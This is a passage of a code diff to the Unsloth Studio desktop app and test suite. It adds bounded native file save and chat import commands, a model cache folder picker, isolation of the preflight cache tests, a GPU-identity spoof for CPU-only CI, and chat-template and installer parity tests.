+        .map_err(|error| format!("Failed to save {}: {}", path.display(), error.error))?;
+    let file_name = path
+        .file_name()
+        .and_then(|name| name.to_str())
+        .unwrap_or("export")
+        .to_string();
+    Ok(Some(file_name))
+}
+
+fn read_selected_import(
+    selected_path: Option<PathBuf>,
+) -> Result<Option<NativeImportedFile>, String> {
+    let Some(path) = selected_path else {
+        return Ok(None);
+    };
+    let extension = path
+        .extension()
+        .and_then(|extension| extension.to_str())
+        .map(str::to_ascii_lowercase)
+        .ok_or_else(|| "Chat import must be a .jsonl, .ndjson, or .csv file.".to_string())?;
+    if !CHAT_IMPORT_EXTENSIONS.contains(&extension.as_str()) {
+        return Err("Chat import must be a .jsonl, .ndjson, or .csv file.".to_string());
+    }
+
+    let metadata = fs::metadata(&path)
+        .map_err(|error| format!("Failed to inspect {}: {error}", path.display()))?;
+    if !metadata.is_file() {
+        return Err(format!("Selected import is not a file: {}", path.display()));
+    }
+    if metadata.len() > MAX_CHAT_IMPORT_BYTES {
+        return Err(format!(
+            "Chat import is too large (maximum {} MiB).",
+            MAX_CHAT_IMPORT_BYTES / 1024 / 1024
+        ));
+    }
+
+    // Limit the read too, so a file that grows after metadata inspection cannot
+    // make the command allocate without bound.
+    let file =
+        File::open(&path).map_err(|error| format!("Failed to open {}: {error}", path.display()))?;
+    let mut bytes = Vec::with_capacity(metadata.len() as usize);
+    file.take(MAX_CHAT_IMPORT_BYTES + 1)
+        .read_to_end(&mut bytes)
+        .map_err(|error| format!("Failed to read {}: {error}", path.display()))?;
+    if bytes.len() as u64 > MAX_CHAT_IMPORT_BYTES {
+        return Err(format!(
+            "Chat import is too large (maximum {} MiB).",
+            MAX_CHAT_IMPORT_BYTES / 1024 / 1024
+        ));
+    }
+    let content = String::from_utf8(bytes)
+        .map_err(|_| format!("Chat import is not valid UTF-8: {}", path.display()))?;
+    let name = path
+        .file_name()
+        .and_then(|name| name.to_str())
+        .map(str::to_string)
+        .unwrap_or_else(|| format!("chat-import.{extension}"));
+    Ok(Some(NativeImportedFile { name, content }))
+}
+
+#[tauri::command]
+pub async fn save_native_file(
+    window: WebviewWindow,
+    app: AppHandle,
+    request: tauri::ipc::Request<'_>,
+) -> Result<Option<String>, String> {
+    crate::native_intents::ensure_main_window(&window)?;
+    let encoded_name = request
+        .headers()
+        .get(NATIVE_FILE_NAME_HEADER)
+        .ok_or_else(|| "Native export filename is missing.".to_string())?
+        .to_str()
+        .map_err(|_| "Invalid native export filename.".to_string())?;
+    let file_name = decode_default_file_name(encoded_name)?;
+    let content = match request.body() {
+        tauri::ipc::InvokeBody::Raw(content) => content,
+        _ => return Err("Native export content must be binary.".to_string()),
+    };
+    let (filter_name, extensions) = save_filter(&file_name);
+    let (tx, rx) = tokio::sync::oneshot::channel();
+    app.dialog()
+        .file()
+        .set_title("Save Unsloth export")
+        .set_file_name(file_name)
+        .add_filter(filter_name, &extensions)
+        .save_file(move |path| {
+            let _ = tx.send(path);
+        });
+    let selected_path = rx
+        .await
+        .map_err(|_| "Save dialog closed unexpectedly.".to_string())?
+        .map(local_dialog_path)
+        .transpose()?;
+    save_selected_file(selected_path, content)
+}
+
+#[tauri::command]
+pub async fn pick_native_chat_import(
+    window: WebviewWindow,
+    app: AppHandle,
+) -> Result<Option<NativeImportedFile>, String> {
+    crate::native_intents::ensure_main_window(&window)?;
+    let (tx, rx) = tokio::sync::oneshot::channel();
+    app.dialog()
+        .file()
+        .set_title("Import chats")
+        .add_filter("Chat exports", CHAT_IMPORT_EXTENSIONS)
+        .pick_file(move |path| {
+            let _ = tx.send(path);
+        });
+    let selected_path = rx
+        .await
+        .map_err(|_| "Import dialog closed unexpectedly.".to_string())?
+        .map(local_dialog_path)
+        .transpose()?;
+    read_selected_import(selected_path)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::time::{SystemTime, UNIX_EPOCH};
+
+    fn temp_path(name: &str) -> PathBuf {
+        let nanos = SystemTime::now()
+            .duration_since(UNIX_EPOCH)
+            .unwrap()
+            .as_nanos();
+        std::env::temp_dir().join(format!(
+            "unsloth-native-files-{name}-{}-{nanos}",
+            std::process::id()
+        ))
+    }
+
+    #[test]
+    fn cancellation_is_quiet_for_save_and_import() {
+        assert!(save_selected_file(None, b"x").unwrap().is_none());
+        assert!(read_selected_import(None).unwrap().is_none());
+    }
+
+    #[test]
+    fn writes_text_and_binary_exactly() {
+        // Overwriting must stage the new content before replacing the destination.
+        let text_path = temp_path("text").with_extension("json");
+        let binary_path = temp_path("binary").with_extension("zip");
+
+        fs::write(&text_path, b"previous export").unwrap();
+        save_selected_file(Some(text_path.clone()), b"{\"ok\":true}").unwrap();
+        save_selected_file(Some(binary_path.clone()), &[0, 1, 2, 255]).unwrap();
+        assert_eq!(fs::read(&text_path).unwrap(), b"{\"ok\":true}");
+        assert_eq!(fs::read(&binary_path).unwrap(), [0, 1, 2, 255]);
+        let _ = fs::remove_file(text_path);
+        let _ = fs::remove_file(binary_path);
+    }
+
+    #[test]
+    fn markdown_exports_use_a_markdown_save_filter() {
+        assert_eq!(
+            save_filter("message.md"),
+            ("Markdown", vec!["md", "markdown"])
+        );
+    }
+
+    #[test]
+    fn reads_supported_import_and_rejects_other_extensions() {
+        let jsonl_path = temp_path("allowed").with_extension("JSONL");
+        fs::write(&jsonl_path, "{\"messages\":[]}").unwrap();
+        let imported = read_selected_import(Some(jsonl_path.clone()))
+            .unwrap()
+            .unwrap();
+        assert_eq!(imported.content, "{\"messages\":[]}");
+
+        let json_path = temp_path("unsupported").with_extension("json");
+        fs::write(&json_path, "{}").unwrap();
+        assert!(read_selected_import(Some(json_path.clone())).is_err());
+        let txt_path = temp_path("denied").with_extension("txt");
+        fs::write(&txt_path, "no").unwrap();
+        assert!(read_selected_import(Some(txt_path.clone()))
+            .unwrap_err()
+            .contains(".json"));
+        let _ = fs::remove_file(jsonl_path);
+        let _ = fs::remove_file(json_path);
+        let _ = fs::remove_file(txt_path);
+    }
+
+    #[test]
+    fn read_limit_and_utf8_errors_are_concrete() {
+        let oversized = temp_path("oversized").with_extension("csv");
+        let file = File::create(&oversized).unwrap();
+        file.set_len(MAX_CHAT_IMPORT_BYTES + 1).unwrap();
+        assert!(read_selected_import(Some(oversized.clone()))
+            .unwrap_err()
+            .contains("too large"));
+
+        let invalid = temp_path("invalid-utf8").with_extension("jsonl");
+        fs::write(&invalid, [0xff]).unwrap();
+        assert!(read_selected_import(Some(invalid.clone()))
+            .unwrap_err()
+            .contains("UTF-8"));
+        let _ = fs::remove_file(oversized);
+        let _ = fs::remove_file(invalid);
+    }
+
+    #[cfg(unix)]
+    #[test]
+    fn non_utf8_import_name_preserves_csv_extension() {
+        use std::ffi::OsString;
+        use std::os::unix::ffi::OsStringExt;
+
+        let path = std::env::temp_dir().join(OsString::from_vec(vec![
+            b'u', b'n', b's', b'l', b'o', b't', b'h', 0xff, b'.', b'c', b's', b'v',
+        ]));
+        fs::write(&path, "role,content\nuser,hello\n").unwrap();
+        let imported = read_selected_import(Some(path.clone())).unwrap().unwrap();
+        assert_eq!(imported.name, "chat-import.csv");
+        let _ = fs::remove_file(path);
+    }
+
+    #[test]
+    fn strips_directories_from_suggested_default_name() {
+        assert_eq!(default_file_name("../../chat.jsonl"), "chat.jsonl");
+        assert_eq!(default_file_name(""), "unsloth-export.json");
+
+        assert_eq!(
+            decode_default_file_name("Y2hhdC5qc29ubA==").unwrap(),
+            "chat.jsonl"
+        );
+    }
+}
diff --git a/studio/src-tauri/src/native_intents.rs b/studio/src-tauri/src/native_intents.rs
index dccbba7083..006babfaa7 100644
--- a/studio/src-tauri/src/native_intents.rs
+++ b/studio/src-tauri/src/native_intents.rs
@@ -16,6 +16,25 @@ use tauri_plugin_dialog::DialogExt;
 
 const TOKEN_TTL: Duration = Duration::from_secs(15 * 60);
 
+fn normalize_windows_verbatim_path(path: String) -> String {
+    if let Some(rest) = path.strip_prefix(r"\\?\UNC\") {
+        return format!(r"\\{rest}");
+    }
+    path.strip_prefix(r"\\?\").unwrap_or(&path).to_string()
+}
+
+fn portable_path_string(path: &Path) -> String {
+    let value = path.to_string_lossy().to_string();
+    #[cfg(windows)]
+    {
+        return normalize_windows_verbatim_path(value);
+    }
+    #[cfg(not(windows))]
+    {
+        value
+    }
+}
+
 #[derive(Clone, Debug)]
 struct NativePathEntry {
     token: String,
@@ -311,6 +330,34 @@ pub async fn pick_native_model(
         .map(Some)
 }
 
+#[tauri::command]
+pub async fn pick_hugging_face_cache_dir(
+    window: WebviewWindow,
+    app: AppHandle,
+) -> Result<Option<String>, String> {
+    ensure_main_window(&window)?;
+    let (tx, rx) = tokio::sync::oneshot::channel();
+    app.dialog()
+        .file()
+        .set_title("Choose model download location")
+        .pick_folder(move |path| {
+            let _ = tx.send(path);
+        });
+    let Some(folder_path) = rx.await.map_err(|_| "Dialog closed".to_string())? else {
+        return Ok(None);
+    };
+    let path = folder_path
+        .into_path()
+        .map_err(|_| "Only local filesystem folders are supported.".to_string())?;
+    let canonical = path
+        .canonicalize()
+        .map_err(|e| format!("Could not use the selected folder: {e}"))?;
+    if !canonical.is_dir() {
+        return Err("The selected location is not a folder.".to_string());
+    }
+    Ok(Some(portable_path_string(&canonical)))
+}
+
 #[tauri::command]
 pub fn consume_native_path_token(
     window: WebviewWindow,
@@ -451,6 +498,18 @@ mod tests {
         let _ = fs::remove_file(path);
     }
 
+    #[test]
+    fn windows_verbatim_paths_are_portable() {
+        assert_eq!(
+            normalize_windows_verbatim_path(r"\\?\C:\models\cache".to_string()),
+            r"C:\models\cache"
+        );
+        assert_eq!(
+            normalize_windows_verbatim_path(r"\\?\UNC\server\share\cache".to_string()),
+            r"\\server\share\cache"
+        );
+    }
+
     #[cfg(unix)]
     #[test]
     fn reveal_rejects_symlink_replacement() {
diff --git a/studio/src-tauri/src/native_path_policy.rs b/studio/src-tauri/src/native_path_policy.rs
index b2ebb34621..26d4cdb61a 100644
--- a/studio/src-tauri/src/native_path_policy.rs
+++ b/studio/src-tauri/src/native_path_policy.rs
@@ -130,8 +130,8 @@ fn classify_existing_path(path: &Path) -> Result<ClassifiedPath, String> {
         .canonicalize()
         .map_err(|e| format!("Path could not be resolved: {e}"))?;
     reject_network_or_device_path(&canonical_path)?;
-    let canonical_symlink_metadata = fs::symlink_metadata(&canonical_path)
-        .map_err(|e| format!("Path is not available: {e}"))?;
+    let canonical_symlink_metadata =
+        fs::symlink_metadata(&canonical_path).map_err(|e| format!("Path is not available: {e}"))?;
     if canonical_symlink_metadata.file_type().is_symlink() {
         return Err("Symlink paths are not supported for native intake.".to_string());
     }
@@ -191,7 +191,7 @@ fn reject_sensitive_artifact(path: &Path) -> Result<(), String> {
         "\\pid",
     ] {
         if lowered.contains(needle) {
-            return Err("Sensitive Studio state cannot be registered as an artifact.".to_string());
+            return Err("Sensitive Unsloth state cannot be registered as an artifact.".to_string());
         }
     }
     if let Some(ext) = path.extension().and_then(|ext| ext.to_str()) {
diff --git a/studio/src-tauri/src/preflight.rs b/studio/src-tauri/src/preflight.rs
index 5a48d26632..7ef5244754 100644
--- a/studio/src-tauri/src/preflight.rs
+++ b/studio/src-tauri/src/preflight.rs
@@ -498,19 +498,68 @@ mod tests {
     }
 
     #[cfg(unix)]
-    fn remove_managed_capability_cache() {
-        let _ = std::fs::remove_file(
-            dirs::home_dir()
+    static MANAGED_CAPABILITY_CACHE_TEST_LOCK: std::sync::LazyLock<tokio::sync::Mutex<()>> =
+        std::sync::LazyLock::new(|| tokio::sync::Mutex::new(()));
+
+    #[cfg(unix)]
+    struct ManagedCapabilityCacheHome {
+        path: PathBuf,
+        previous: Option<std::ffi::OsString>,
+    }
+
+    #[cfg(unix)]
+    impl ManagedCapabilityCacheHome {
+        fn new(test_name: &str) -> Self {
+            use std::time::{SystemTime, UNIX_EPOCH};
+
+            let nanos = SystemTime::now()
+                .duration_since(UNIX_EPOCH)
                 .unwrap()
-                .join(".unsloth")
-                .join("studio")
-                .join("desktop_capability_cache.json"),
-        );
+                .as_nanos();
+            let path = std::env::temp_dir().join(format!(
+                "unsloth-preflight-cache-{test_name}-{}-{nanos}",
+                std::process::id()
+            ));
+            std::fs::create_dir_all(&path).unwrap();
+            let previous = std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME");
+            std::env::set_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME", &path);
+            Self { path, previous }
+        }
+    }
+
+    #[cfg(unix)]
+    impl Drop for ManagedCapabilityCacheHome {
+        fn drop(&mut self) {
+            if let Some(previous) = &self.previous {
+                std::env::set_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME", previous);
+            } else {
+                std::env::remove_var("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME");
+            }
+            let _ = std::fs::remove_dir_all(&self.path);
+        }
+    }
+
+    #[cfg(unix)]
+    fn managed_capability_cache_path_for_test() -> PathBuf {
+        std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME")
+            .map(PathBuf::from)
+            .or_else(dirs::home_dir)
+            .unwrap()
+            .join(".unsloth")
+            .join("studio")
+            .join("desktop_capability_cache.json")
+    }
+
+    #[cfg(unix)]
+    fn remove_managed_capability_cache() {
+        let _ = std::fs::remove_file(managed_capability_cache_path_for_test());
     }
 
     #[cfg(unix)]
     #[tokio::test]
     async fn managed_cli_capability_probe_classifies_core_cases() {
+        let _cache_guard = MANAGED_CAPABILITY_CACHE_TEST_LOCK.lock().await;
+        let _cache_home = ManagedCapabilityCacheHome::new("core-cases");
         remove_managed_capability_cache();
 
         for (name, script, stale_reason) in [
@@ -567,6 +616,75 @@ exit 1
         }
     }
 
+    #[cfg(unix)]
+    #[tokio::test]
+    async fn managed_cli_capability_help_probe_runs_before_cache() {
+        use std::fs;
+
+        let _cache_guard = MANAGED_CAPABILITY_CACHE_TEST_LOCK.lock().await;
+        let _cache_home = ManagedCapabilityCacheHome::new("cache-hit");
+
+        remove_managed_capability_cache();
+        // `-h` always succeeds unless `modeh` exists; the desktop-capabilities
+        // probe always succeeds unless `modecap` exists. Toggling those lets us
+        // prove the ordering: -h runs on every probe (even a cache hit), while
+        // the heavier capability probe is skipped once the cache is warm.
+        let fake = fake_cli(
+            "cap-cache-hit",
+            r#"#!/bin/sh
+log="$0.calls"
+modeh="$0.modeh"
+modecap="$0.modecap"
+printf '%s\n' "$*" >> "$log"
+if [ "$1" = "-h" ]; then
+  if [ -f "$modeh" ]; then exit 42; fi
+  exit 0
+fi
+if [ "$1" = "studio" ] && [ "$2" = "desktop-capabilities" ] && [ "$3" = "--json" ]; then
+  if [ -f "$modecap" ]; then exit 42; fi
+  printf '{"desktop_protocol_version":1,"desktop_manageability_version":1,"supports_api_only":true,"supports_provision_desktop_auth":true,"supports_desktop_backend_ownership":true,"version":"2026.5.3"}'
+  exit 0
+fi
+exit 1
+"#,
+        );
+        let bin = fake.bin.clone();
+        let calls = bin.with_extension("calls");
+        let modeh = bin.with_extension("modeh");
+        let modecap = bin.with_extension("modecap");
+
+        // Cold probe: runs -h and the capability probe, then caches the result.
+        assert!(matches!(
+            probe_managed_bin(bin.clone()).await,
+            ManagedProbe::Ready { .. }
+        ));
+        let first_calls = fs::read_to_string(&calls).unwrap();
+        assert!(first_calls.contains("-h"));
+        assert!(first_calls.contains("studio desktop-capabilities --json"));
+
+        // Cache hit: -h still runs, but the capability probe is skipped (breaking
+        // it via `modecap` proves it is not invoked).
+        fs::write(&modecap, "broken").unwrap();
+        fs::write(&calls, "").unwrap();
+        assert!(matches!(
+            probe_managed_bin(bin.clone()).await,
+            ManagedProbe::Ready { .. }
+        ));
+        assert_eq!(fs::read_to_string(&calls).unwrap(), "-h\n");
+
+        // A non-launchable CLI is caught by the -h probe even with a warm cache:
+        // preflight reports Stale (for repair) and never trusts the cache.
+        fs::write(&modeh, "broken").unwrap();
+        fs::write(&calls, "").unwrap();
+        assert!(matches!(
+            probe_managed_bin(bin).await,
+            ManagedProbe::Stale { .. }
+        ));
+        assert_eq!(fs::read_to_string(&calls).unwrap(), "-h\n");
+
+        remove_managed_capability_cache();
+    }
+
     const EXPECTED_ROOT_ID: &str =
         "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
     const OTHER_ROOT_ID: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
diff --git a/studio/src-tauri/src/preflight/managed.rs b/studio/src-tauri/src/preflight/managed.rs
index 57b8365ec5..0d20f271c5 100644
--- a/studio/src-tauri/src/preflight/managed.rs
+++ b/studio/src-tauri/src/preflight/managed.rs
@@ -188,6 +188,16 @@ fn managed_bin_fingerprint(bin: &Path) -> Option<ManagedBinFingerprint> {
 }
 
 fn capability_cache_path() -> Option<PathBuf> {
+    #[cfg(test)]
+    if let Some(home) = std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME") {
+        return Some(
+            PathBuf::from(home)
+                .join(".unsloth")
+                .join("studio")
+                .join("desktop_capability_cache.json"),
+        );
+    }
+
     dirs::home_dir().map(|home| {
         home.join(".unsloth")
             .join("studio")
@@ -400,6 +410,12 @@ fn desktop_capability_ready(capability: &DesktopCapability) -> bool {
 
 pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
     let started = Instant::now();
+    // Always verify the managed CLI actually launches before trusting the cache.
+    // A matching capability fingerprint does not prove the binary can still run:
+    // its venv interpreter or a runtime dependency can be broken while the
+    // path/size/mtime/markers are unchanged, so the -h probe runs first and a
+    // non-launchable install is reported Stale for repair. The capability cache
+    // below still skips the heavier desktop-capabilities probe on a hit.
     if !run_cli_probe(&bin, &["-h"]).await {
         info!(
             "Managed preflight: cli unusable for {:?} in {}ms",
diff --git a/studio/src-tauri/tauri.macos.conf.json b/studio/src-tauri/tauri.macos.conf.json
index 202c9fb505..b1517a6234 100644
--- a/studio/src-tauri/tauri.macos.conf.json
+++ b/studio/src-tauri/tauri.macos.conf.json
@@ -2,6 +2,7 @@
   "bundle": {
     "macOS": {
       "entitlements": "./Entitlements.plist",
+      "infoPlist": "./Info.plist",
       "dmg": {
         "appPosition": { "x": 180, "y": 220 },
         "applicationFolderPosition": { "x": 480, "y": 220 }
diff --git a/tests/_zoo_rocm_spoof.py b/tests/_zoo_rocm_spoof.py
new file mode 100644
index 0000000000..050191e9d1
--- /dev/null
+++ b/tests/_zoo_rocm_spoof.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""ROCm/RDNA spoof: present torch as an AMD Radeon (RDNA 2/3/4) card on a
+GPU-less host, so hip paths (device_type -> "hip", llama.cpp ROCm bundle) are
+testable in CPU-only CI with no AMD hardware. The ROCm sibling of
+_zoo_aggressive_cuda_spoof.py: it reuses that spoof's torch.cuda no-op machinery
+and overlays the AMD identity (torch.version.hip, gcnArchName, Radeon name).
+Apply BEFORE importing unsloth/unsloth_zoo, since DEVICE_TYPE is cached there.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import os
+import sys
+
+# gfx -> (marketing name, (capability major, minor), torch.version.hip). hip is
+# the ROCm build torch was made against (RDNA2/3 ship 6.x; gfx1102/115x/RDNA4 7.2).
+_PROFILES: dict[str, tuple[str, tuple[int, int], str]] = {
+    "gfx1030": ("AMD Radeon RX 6900 XT", (10, 3), "6.4.43483"),  # RDNA2
+    "gfx1031": ("AMD Radeon RX 6700 XT", (10, 3), "6.4.43483"),
+    "gfx1032": ("AMD Radeon RX 6600", (10, 3), "6.4.43483"),
+    "gfx1034": ("AMD Radeon RX 6400", (10, 3), "6.4.43483"),
+    "gfx1100": ("AMD Radeon RX 7900 XTX", (11, 0), "6.4.43483"),  # RDNA3
+    "gfx1101": ("AMD Radeon RX 7800 XT", (11, 0), "6.4.43483"),
+    "gfx1102": ("AMD Radeon RX 7600", (11, 0), "7.2.1"),
+    "gfx1150": ("AMD Radeon 890M", (11, 5), "7.2.1"),  # RDNA3.5 APU
+    "gfx1151": ("AMD Radeon 8060S", (11, 5), "7.2.1"),
+    "gfx1200": ("AMD Radeon RX 9060 XT", (12, 0), "7.2.1"),  # RDNA4
+    "gfx1201": ("AMD Radeon RX 9070 XT", (12, 0), "7.2.1"),
+}
+
+
+def _cuda_spoof():
+    """Load the sibling CUDA spoof by path (robust to sys.path), so we reuse its
+    torch.cuda machinery instead of duplicating it."""
+    if "_zoo_aggressive_cuda_spoof" in sys.modules:
+        return sys.modules["_zoo_aggressive_cuda_spoof"]
+    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_zoo_aggressive_cuda_spoof.py")
+    spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", path)
+    mod = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(mod)
+    sys.modules["_zoo_aggressive_cuda_spoof"] = mod
+    return mod
+
+
+def apply(gfx: str = "gfx1100", device_count: int = 1) -> None:
+    """Present torch as `gfx`. Re-callable to switch arch (identity is overlaid;
+    the underlying no-op machinery is applied once)."""
+    import torch
+
+    if gfx not in _PROFILES:
+        raise KeyError(f"Unknown gfx {gfx!r}; known: {', '.join(_PROFILES)}")
+    name, cap, hip = _PROFILES[gfx]
+
+    _cuda_spoof().apply()  # is_available/device_count/streams/rng/amp/...
+
+    # Overlay the AMD identity on top of the (NVIDIA-shaped) CUDA spoof.
+    torch.version.hip = hip
+    torch.version.cuda = None
+    torch.cuda.device_count = lambda: device_count
+    torch.cuda.get_device_name = lambda *a, **k: name
+    torch.cuda.get_device_capability = lambda *a, **k: cap
+    torch.cuda.get_arch_list = lambda: [gfx]
+
+    class _Props:
+        pass
+
+    _p = _Props()
+    _p.name = name
+    _p.gcnArchName = f"{gfx}:sramecc-:xnack-"  # ROCm advertises feature flags
+    _p.major, _p.minor = cap
+    _p.total_memory = 16 * 1024**3
+    _p.multi_processor_count = 40
+    _p.warp_size = 32  # RDNA wavefront (CDNA is 64)
+    _p.is_integrated = gfx in ("gfx1150", "gfx1151")
+    _p.is_multi_gpu_board = False
+    torch.cuda.get_device_properties = lambda *a, **k: _p
+
+
+if __name__ == "__main__":
+    apply()
+    import torch
+    print("ROCm spoof applied:", torch.version.hip, torch.cuda.get_device_properties(0).gcnArchName)
diff --git a/tests/python/test_construct_chat_template_validation.py b/tests/python/test_construct_chat_template_validation.py
index 66d3d80920..53d281d435 100644
--- a/tests/python/test_construct_chat_template_validation.py
+++ b/tests/python/test_construct_chat_template_validation.py
@@ -104,3 +104,93 @@ def test_chat_template_does_not_leak_sentinel_when_section_starts_with_it(chat_t
     )
     assert "{INPUT}" not in jinja_template
     assert "{OUTPUT}" not in jinja_template
+
+
+_SYSTEM_CHAT_TEMPLATE = (
+    "{SYSTEM}\n"
+    "### User: {INPUT}\n### Assistant: {OUTPUT}</s>"
+    "### User: {INPUT}\n### Assistant: {OUTPUT}</s>"
+)
+
+
+def _render(jinja_template, messages):
+    from jinja2.sandbox import ImmutableSandboxedEnvironment
+
+    env = ImmutableSandboxedEnvironment()
+    env.globals["raise_exception"] = lambda message: (_ for _ in ()).throw(RuntimeError(message))
+    return env.from_string(jinja_template).render(
+        messages = messages,
+        bos_token = "<s>",
+        eos_token = "</s>",
+        add_generation_prompt = False,
+    )
+
+
+@pytest.mark.parametrize("default_system_message", [None, "You are helpful."])
+def test_system_message_is_consumed_by_the_system_part(default_system_message):
+    """A caller-supplied system message must be rendered by the system part and
+    skipped by the message loop, whatever `default_system_message` is.
+
+    With `default_system_message = None` the generated template used to bind
+    `loop_messages` only inside the `{% if %}` arm. The `Fix missing
+    loop_messages` step then saw no unconditional binding, rewrote the loop back
+    to `messages`, and the system message reached the loop and tripped
+    `raise_exception`.
+    """
+    _, jinja_template, _, _ = construct_chat_template(
+        tokenizer = _SuccessFakeTokenizer(),
+        chat_template = _SYSTEM_CHAT_TEMPLATE,
+        default_system_message = default_system_message,
+        extra_eos_tokens = ["</s>"],
+    )
+    rendered = _render(
+        jinja_template,
+        [
+            {"role": "system", "content": "Be terse."},
+            {"role": "user", "content": "Hi"},
+        ],
+    )
+    assert rendered.count("Be terse.") == 1
+    assert rendered.count("Hi") == 1
+    # A caller system message overrides the default; the default must not leak in.
+    if default_system_message is not None:
+        assert default_system_message not in rendered
+
+
+def test_absent_system_message_still_renders_without_default():
+    """`default_system_message = None` with no system message in the input must
+    keep working -- the `{% else %}` arm has to bind `loop_messages = messages`."""
+    _, jinja_template, _, _ = construct_chat_template(
+        tokenizer = _SuccessFakeTokenizer(),
+        chat_template = _SYSTEM_CHAT_TEMPLATE,
+        default_system_message = None,
+        extra_eos_tokens = ["</s>"],
+    )
+    rendered = _render(jinja_template, [{"role": "user", "content": "Hi"}])
+    assert "Hi" in rendered
+
+
+_NO_SYSTEM_CHAT_TEMPLATE = (
+    "PREAMBLE\n"
+    "### User: {INPUT}\n### Assistant: {OUTPUT}</s>"
+    "### User: {INPUT}\n### Assistant: {OUTPUT}</s>"
+)
+
+
+def test_static_prefix_without_system_still_rejects_system_message():
+    """A template with a static prefix but no {SYSTEM} placeholder cannot render a
+    caller system message, so it must still raise rather than silently drop it."""
+    _, jinja_template, _, _ = construct_chat_template(
+        tokenizer = _SuccessFakeTokenizer(),
+        chat_template = _NO_SYSTEM_CHAT_TEMPLATE,
+        default_system_message = None,
+        extra_eos_tokens = ["</s>"],
+    )
+    with pytest.raises(RuntimeError, match = "Only user and assistant roles are supported!"):
+        _render(
+            jinja_template,
+            [
+                {"role": "system", "content": "Be terse."},
+                {"role": "user", "content": "Hi"},
+            ],
+        )
diff --git a/tests/python/test_cross_platform_parity.py b/tests/python/test_cross_platform_parity.py
index 666ea7ce10..b3a9b99c55 100644
--- a/tests/python/test_cross_platform_parity.py
+++ b/tests/python/test_cross_platform_parity.py
@@ -10,6 +10,8 @@ import pytest
 REPO_ROOT = Path(__file__).resolve().parents[2]
 INSTALL_SH = REPO_ROOT / "install.sh"
 INSTALL_PS1 = REPO_ROOT / "install.ps1"
+SETUP_PS1 = REPO_ROOT / "studio" / "setup.ps1"
+STACK_PY = REPO_ROOT / "studio" / "install_python_stack.py"
 
 
 class TestNoTorchBackendAutoInInstallSh:
@@ -180,3 +182,607 @@ class TestUvBytecodeCompileTimeout:
         assert (
             '$env:UV_COMPILE_BYTECODE_TIMEOUT = "180"' in text
         ), "install.ps1 should default UV_COMPILE_BYTECODE_TIMEOUT"
+
+
+class TestTorchIndexOverrideParity:
+    """Every installer must honor UNSLOTH_TORCH_INDEX_URL / _FAMILY so a pinned wheel
+    index wins over GPU probing on all platforms (no asymmetric, per-OS coverage)."""
+
+    @pytest.mark.parametrize(
+        "path",
+        [INSTALL_SH, INSTALL_PS1, SETUP_PS1, STACK_PY],
+        ids = ["install.sh", "install.ps1", "setup.ps1", "install_python_stack.py"],
+    )
+    def test_installer_reads_override_env(self, path):
+        text = path.read_text(encoding = "utf-8")
+        for var in ("UNSLOTH_TORCH_INDEX_URL", "UNSLOTH_TORCH_INDEX_FAMILY"):
+            assert var in text, f"{path.name} does not honor {var}"
+
+    @pytest.mark.parametrize(
+        "path",
+        [INSTALL_PS1, SETUP_PS1],
+        ids = ["install.ps1", "setup.ps1"],
+    )
+    def test_amd_reroute_guarded_when_pinned(self, path):
+        # The AMD ROCm reroute must be skipped when the index is explicitly pinned,
+        # so an explicit cpu / cu* / rocm pin on an AMD host is not overwritten.
+        text = path.read_text(encoding = "utf-8")
+        assert (
+            "TorchIndexPinned" in text
+        ), f"{path.name} should gate the AMD ROCm reroute on a pinned-index flag"
+
+    def test_cuda_pin_overrides_cvd_hide_gate(self):
+        # A pinned cu* index skips ALL host-GPU probing, so the CUDA repair must clear the
+        # CUDA_VISIBLE_DEVICES hide gate too (else the GPU-less CI case bails).
+        text = STACK_PY.read_text(encoding = "utf-8")
+        m = re.search(r"def _ensure_cuda_torch\(\).*?(?=\ndef )", text, re.DOTALL)
+        assert m, "could not locate _ensure_cuda_torch"
+        body = m.group(0)
+        assert "_cuda_pinned" in body, (
+            "_ensure_cuda_torch should compute a CUDA-pin flag so the pin can "
+            "override the CVD hide gate"
+        )
+        assert re.search(
+            r"if not _cuda_pinned and _cvd is not None", body
+        ), "the CVD hide gate must be bypassed when a CUDA index is pinned"
+
+    def test_cpu_repair_pins_supported_torch_range(self):
+        # The explicit-CPU repair must use the bounded CPU/CUDA spec, not a bare trio (the
+        # /cpu index serves torch 2.11+, so a bare install could resolve out of range).
+        text = STACK_PY.read_text(encoding = "utf-8")
+        m = re.search(r"def _ensure_cpu_torch\(\).*?(?=\ndef )", text, re.DOTALL)
+        assert m, "could not locate _ensure_cpu_torch"
+        body = m.group(0)
+        assert "_CPU_TORCH_PKG_SPEC" in body, (
+            "_ensure_cpu_torch should install the bounded _CPU_TORCH_PKG_SPEC, "
+            "not a bare torch/torchvision/torchaudio trio"
+        )
+
+    def test_setup_ps1_stale_check_gates_rocm_on_supported_arch(self):
+        # The stale check must expect ROCm torch only for arches the install path maps to a
+        # repo.amd.com index; expecting "rocm" for an unmapped arch marks a good CPU venv stale.
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        assert "_rocmWheelArches" in text, (
+            "setup.ps1 stale check should restrict the ROCm expected-tag to the "
+            "supported gfx wheel arches"
+        )
+
+
+class TestGfx211AllowlistParity:
+    """The gfx per-arch 2.11-floor leaves (gfx120X-all / gfx1151 / gfx1150) must be the
+    SAME set in every installer and its stale/mismatch check. When they diverged, a
+    pinned gfx110X-all / gfx90a / gfx908 wheel (<2.11) was force-reinstalled every update."""
+
